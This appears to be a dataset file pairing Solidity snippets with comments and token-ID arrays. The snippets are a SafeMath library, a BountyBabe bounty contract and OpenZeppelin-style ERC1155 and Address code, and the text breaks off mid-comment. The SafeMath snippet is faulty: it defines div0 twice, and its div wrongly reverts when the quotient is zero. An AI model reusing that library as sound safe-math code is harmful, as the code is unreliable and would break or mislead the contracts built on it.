0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
20409,
15925,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x57884b46d815d7cF42C04Cf226728a0D787eF58d/sources/JustRouter.sol | a library for performing overflow-safe math, courtesy of DappHub (https:github.com/dapphub/ds-math) | library SafeMath {
function add(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x + y) >= x, 'Router SafeMath: ds-math-add-overflow');
}
function sub(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x - y) <= x, 'Router SafeMath: ds-math-sub-underflow');
}
function mul(uint256 x, uint256 y) internal pure returns(uint256 z) {
require(y == 0 || (z = x * y) / y == x, 'Router SafeMath: ds-math-mul-overflow');
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x / y) > 0, 'Router SafeMath: ds-math-div-overflow');
}
function div0(uint256 x, uint256 y) internal pure returns(uint256) {
require(y > 0);
uint256 z = x / y;
if (z < 0) {
z = 0;
}
return z;
}
function div0(uint256 x, uint256 y) internal pure returns(uint256) {
require(y > 0);
uint256 z = x / y;
if (z < 0) {
z = 0;
}
return z;
}
}
| 9,618,342 | [
1,
69,
5313,
364,
14928,
9391,
17,
4626,
4233,
16,
21833,
1078,
93,
434,
463,
2910,
8182,
261,
4528,
30,
6662,
18,
832,
19,
6223,
844,
373,
19,
2377,
17,
15949,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
14060,
10477,
288,
203,
565,
445,
527,
12,
11890,
5034,
619,
16,
2254,
5034,
677,
13,
2713,
16618,
1135,
12,
11890,
5034,
998,
13,
288,
203,
3639,
2583,
12443,
94,
273,
619,
397,
677,
13,
1545,
619,
16,
296,
8259,
14060,
10477,
30,
3780,
17,
15949,
17,
1289,
17,
11512,
8284,
203,
565,
289,
203,
203,
565,
445,
720,
12,
11890,
5034,
619,
16,
2254,
5034,
677,
13,
2713,
16618,
1135,
12,
11890,
5034,
998,
13,
288,
203,
3639,
2583,
12443,
94,
273,
619,
300,
677,
13,
1648,
619,
16,
296,
8259,
14060,
10477,
30,
3780,
17,
15949,
17,
1717,
17,
9341,
2426,
8284,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
11890,
5034,
619,
16,
2254,
5034,
677,
13,
2713,
16618,
1135,
12,
11890,
5034,
998,
13,
288,
203,
3639,
2583,
12,
93,
422,
374,
747,
261,
94,
273,
619,
380,
677,
13,
342,
677,
422,
619,
16,
296,
8259,
14060,
10477,
30,
3780,
17,
15949,
17,
16411,
17,
11512,
8284,
203,
565,
289,
203,
203,
565,
445,
3739,
12,
11890,
5034,
619,
16,
2254,
5034,
677,
13,
2713,
16618,
1135,
12,
11890,
5034,
998,
13,
288,
203,
3639,
2583,
12443,
94,
273,
619,
342,
677,
13,
405,
374,
16,
296,
8259,
14060,
10477,
30,
3780,
17,
15949,
17,
2892,
17,
11512,
8284,
203,
565,
289,
203,
565,
445,
3739,
20,
12,
11890,
5034,
619,
16,
2254,
5034,
677,
13,
2713,
16618,
1135,
12,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
93,
405,
374,
1769,
203,
3639,
2254,
5034,
998,
2
] |
pragma solidity ^0.5.0;
import "./SafeMath.sol";
/** @title Bounty Babe */
/** @author Audrey Worsham */
contract BountyBabe {
using SafeMath for uint;
uint bountyCount;
uint submissionCount;
address admin;
bool private stopped = false;
mapping(uint => Bounty) public bounties;
mapping(uint => Submission) public submissions;
mapping(uint => mapping(uint => uint)) public bounties_submissions;
mapping(address => uint[]) public users_bounties;
// The state of a bounty
enum BountyState {
Open, // The bounty is open and accepting submissions
Closed // The bounty has been closed and is no longer accepting submissions
}
// The state of a submission
enum SubmissionState {
Submitted, // A submission is made for a bounty
Accepted, // A submission is accepted for a bounty
Rejected, // A submission is rejected for a bounty
Paid // The submitter receives paymant for their work
}
struct Bounty {
uint bountyId;
address payable creator;
uint amount;
string description;
uint numSubmissions;
BountyState bountyState;
}
struct Submission {
uint bountyId;
uint submissionId;
address payable submitter;
string description;
SubmissionState submissionState;
}
// Events that will be emitted on changes
event Open(uint indexed bountyId); // Fired upon creation of a bounty
event Closed(uint indexed bountyId); // Fired when a bounty is no longer taking submissions
event Submitted(uint indexed bountyId, uint indexed submissionId); // Fired when a submission has been made
event Accepted(uint indexed bountyId, uint indexed submissionId); // Fired when a submission has been accepted for a bounty
event Rejected(uint indexed bountyId, uint indexed submissionId); // Fired when a submission has been rejected for a bounty
event Paid(uint indexed bountyId, uint indexed submissionId); // Fired when the submitter receives payment
constructor() public {
admin = msg.sender;
bountyCount = 0;
submissionCount = 0;
}
// Making sure the bounty is open using the bounty Id
modifier bountyMustBeOpen(uint bountyId) {
require(bounties[bountyId].bountyState == BountyState.Open, "Bounty must be open");
_;
}
// Making sure the submission is made using the submission Id
modifier mustBeSubmitted(uint submissionId) {
require(submissions[submissionId].submissionState == SubmissionState.Submitted, "Submission must be made");
_;
}
// Making sure the msg.sender of the bounty is the owner
modifier onlyBountyOwner(uint bountyId) {
require(bounties[bountyId].creator == msg.sender, "The owner of the bounty is msg.sender");
_;
}
// Making sure the submission is accepted for a bounty
modifier mustBeAccepted(uint submissionId) {
require(submissions[submissionId].submissionState == SubmissionState.Accepted, "Submission must be in Accepted state");
_;
}
// Making sure all actions in the contract are suspended if a bug is discovered
modifier stopInEmergency {
require(!stopped, "Emergency stop is enabled, this function is disabled");
_;
}
// Making sure the bounty creator can still withdraw funds if a bug is discovered
modifier onlyInEmergency {
require(stopped, "Can only be called in an emergency");
_;
}
// Making sure only the admin can access certain functions
modifier isAdmin() {
require(msg.sender == admin, "Only the admin can perform this function");
_;
}
/** @dev Makes sure only the admin can stop the contract
*/
function toggleContractActive() public isAdmin {
stopped = !stopped;
}
/** @dev Creates a bounty
* @param description Description of the bounty being created
* @return The Id of the bounty created
*/
function createBounty(string memory description) public payable stopInEmergency() returns(uint) {
require(msg.value > 0, "The amount is invalid");
uint bountyId = bountyCount;
emit Open(bountyId);
bounties[bountyId] = Bounty({
bountyId: bountyId,
creator: msg.sender,
amount: msg.value,
description: description,
numSubmissions: 0,
bountyState: BountyState.Open
});
bountyCount = bountyCount.add(1);
users_bounties[msg.sender].push(bountyId);
return bountyId;
}
/** @dev Creates a submission to a specific bounty
* @param bountyId The Id of the bounty the submission is for
* @param description Description of the submission being created
* @return The Id of the submission created
*/
function createSubmission(uint bountyId, string memory description)
public
bountyMustBeOpen(bountyId)
stopInEmergency()
returns(uint)
{
uint submissionId = submissionCount;
uint submissionIndex = bounties[bountyId].numSubmissions;
emit Submitted(bountyId, submissionId);
submissions[submissionId] = Submission({
bountyId: bountyId,
submissionId: submissionId,
submitter: msg.sender,
description: description,
submissionState: SubmissionState.Submitted
});
bounties_submissions[bountyId][submissionIndex] = submissionId;
submissionCount = submissionCount.add(1);
bounties[bountyId].numSubmissions = bounties[bountyId].numSubmissions.add(1);
return submissionId;
}
/** @dev Gets the number of bounties submitted
* @return The number of bounties submitted
*/
function getBountyCount() public view returns(uint) {
return bountyCount;
}
/** @dev Gets the total number of submissions
* @return The total number of submissions
*/
function getSubmissionCount() public view returns(uint) {
return submissionCount;
}
/** @dev Gets the number of submissions for a bounty
* @param bountyId The Id of the bounty
* @return The total number of submissions for that bounty
*/
function getBountySubmissionCount(uint bountyId) public view returns(uint) {
return bounties[bountyId].numSubmissions;
}
/** @dev Gets the Id of a submission by the index in bounties_submissions array
* @param bountyId The Id of the bounty
* @param index The index in the bounties_submissions array
* @return The bounty's submission id
*/
function getBountySubmissionIdByIndex(uint bountyId, uint index) public view returns(uint) {
require(bountyId < bountyCount, "The bounty Id must be less than the bounty count");
require(index < bounties[bountyId].numSubmissions, "The index must be less than the number of submissions for the bounty");
return bounties_submissions[bountyId][index];
}
/** @dev Gets the user's bounty Id by the user's address and index number
* @param who The user
* @param index The index in the users_bounties array
* @return The user's bounty Id
*/
function getUserBountyIdByIndex(address who, uint index) public view returns(uint) {
require(index < users_bounties[who].length, "The index must be less than the number of bounties for the user");
return users_bounties[who][index];
}
/** @dev Retrieves a bounty using a bounty Id
* @param _bountyId The Id of the bounty
* @return All aspects of a bounty
*/
function fetchBounty(
uint _bountyId
)
public view
returns (
uint bountyId,
address creator,
uint amount,
string memory description,
uint numSubmissions,
uint bountyState
)
{
bountyId = bounties[_bountyId].bountyId;
creator = bounties[_bountyId].creator;
amount = bounties[_bountyId].amount;
description = bounties[_bountyId].description;
numSubmissions = bounties[_bountyId].numSubmissions;
bountyState = uint(bounties[_bountyId].bountyState);
return (bountyId, creator, amount, description, numSubmissions, bountyState);
}
/** @dev Retrieves a submission using a submission Id
* @param _submissionId The Id of the bounty
* @return All aspects of a submission
*/
function fetchSubmission(
uint _submissionId
)
public view
returns (
uint bountyId,
uint submissionId,
address submitter,
string memory description,
uint submissionState
)
{
bountyId = submissions[_submissionId].bountyId;
submissionId = submissions[_submissionId].submissionId;
submitter = submissions[_submissionId].submitter;
description = submissions[_submissionId].description;
submissionState = uint(submissions[_submissionId].submissionState);
return (bountyId, submissionId, submitter, description, submissionState);
}
/** @dev Gets the number of bounties a user has submitted
* @param _who The address of the user
* @return The number of bounties for the user
*/
function userNumBounties(address _who) public view returns(uint) {
return users_bounties[_who].length;
}
/** @dev Accepts a submission for a bounty
* @param bountyId The Id of the bounty
* @param submissionId The Id of the submission
* @return True if the submission is accepted
*/
function acceptSubmission(uint bountyId, uint submissionId)
public
mustBeSubmitted(submissionId)
onlyBountyOwner(bountyId)
bountyMustBeOpen(bountyId)
stopInEmergency()
returns (bool)
{
submissions[submissionId].submissionState = SubmissionState.Accepted;
bounties[bountyId].bountyState = BountyState.Closed;
emit Accepted(bountyId, submissionId);
emit Closed(bountyId);
return true;
}
/** @dev Rejects a submission for a bounty
* @param bountyId The Id of the bounty
* @param submissionId The Id of the submission
* @return True if the submission is rejected
*/
function rejectSubmission(uint bountyId, uint submissionId)
public
mustBeSubmitted(submissionId)
onlyBountyOwner(bountyId)
bountyMustBeOpen(bountyId)
stopInEmergency()
returns (bool)
{
submissions[submissionId].submissionState = SubmissionState.Rejected;
emit Rejected(bountyId, submissionId);
return true;
}
/** @dev Submitter receives payment for bounty
* @param submissionId The Id of the submission
* @return True if the submitter is paid
*/
function withdrawBountyAmount(uint submissionId) public mustBeAccepted(submissionId) returns(bool) {
require(msg.sender == submissions[submissionId].submitter, "The msg.sender must be the submitter");
uint bountyId = submissions[submissionId].bountyId;
submissions[submissionId].submitter.transfer(bounties[bountyId].amount);
submissions[submissionId].submissionState = SubmissionState.Paid;
emit Paid(bountyId, submissionId);
return true;
}
/** @dev The creator of a bounty can withdraw his funds
* @param bountyId The id of the bounty
* @return True if the funds were withdrawn
*/
function emergencyWithdraw(uint bountyId)
public
onlyInEmergency()
onlyBountyOwner(bountyId)
bountyMustBeOpen(bountyId)
returns(bool)
{
bounties[bountyId].creator.transfer(bounties[bountyId].amount);
bounties[bountyId].bountyState = BountyState.Closed;
return true;
}
// Fallback function
function() external payable {
require(false, "No message data -- fallback function failed");
}
}
| * @dev Creates a bounty @param description Description of the bounty being created @return The Id of the bounty created/ | function createBounty(string memory description) public payable stopInEmergency() returns(uint) {
require(msg.value > 0, "The amount is invalid");
uint bountyId = bountyCount;
emit Open(bountyId);
bounties[bountyId] = Bounty({
bountyId: bountyId,
creator: msg.sender,
amount: msg.value,
description: description,
numSubmissions: 0,
bountyState: BountyState.Open
});
bountyCount = bountyCount.add(1);
users_bounties[msg.sender].push(bountyId);
return bountyId;
}
| 15,828,737 | [
1,
2729,
279,
324,
592,
93,
225,
2477,
6507,
434,
326,
324,
592,
93,
3832,
2522,
327,
1021,
3124,
434,
326,
324,
592,
93,
2522,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
752,
38,
592,
93,
12,
1080,
3778,
2477,
13,
1071,
8843,
429,
2132,
382,
1514,
24530,
1435,
1135,
12,
11890,
13,
288,
203,
3639,
2583,
12,
3576,
18,
1132,
405,
374,
16,
315,
1986,
3844,
353,
2057,
8863,
203,
3639,
2254,
324,
592,
93,
548,
273,
324,
592,
93,
1380,
31,
203,
3639,
3626,
3502,
12,
70,
592,
93,
548,
1769,
203,
3639,
324,
592,
606,
63,
70,
592,
93,
548,
65,
273,
605,
592,
93,
12590,
203,
5411,
324,
592,
93,
548,
30,
324,
592,
93,
548,
16,
203,
5411,
11784,
30,
1234,
18,
15330,
16,
203,
5411,
3844,
30,
1234,
18,
1132,
16,
203,
5411,
2477,
30,
2477,
16,
203,
5411,
818,
1676,
7300,
30,
374,
16,
203,
5411,
324,
592,
93,
1119,
30,
605,
592,
93,
1119,
18,
3678,
203,
3639,
15549,
203,
3639,
324,
592,
93,
1380,
273,
324,
592,
93,
1380,
18,
1289,
12,
21,
1769,
203,
3639,
3677,
67,
70,
592,
606,
63,
3576,
18,
15330,
8009,
6206,
12,
70,
592,
93,
548,
1769,
203,
3639,
327,
324,
592,
93,
548,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
///
/// @dev Interface for the NFT Royalty Standard
///
interface IEIP2981 {
/// ERC165 bytes to add to interface array - set in parent contract
/// implementing this standard
///
/// bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _salePrice - the sale price of the NFT asset specified by _tokenId
/// @return receiver - address of who should be sent the royalty payment
/// @return royaltyAmount - the royalty payment amount for _salePrice
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver,uint256 royaltyAmount);
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
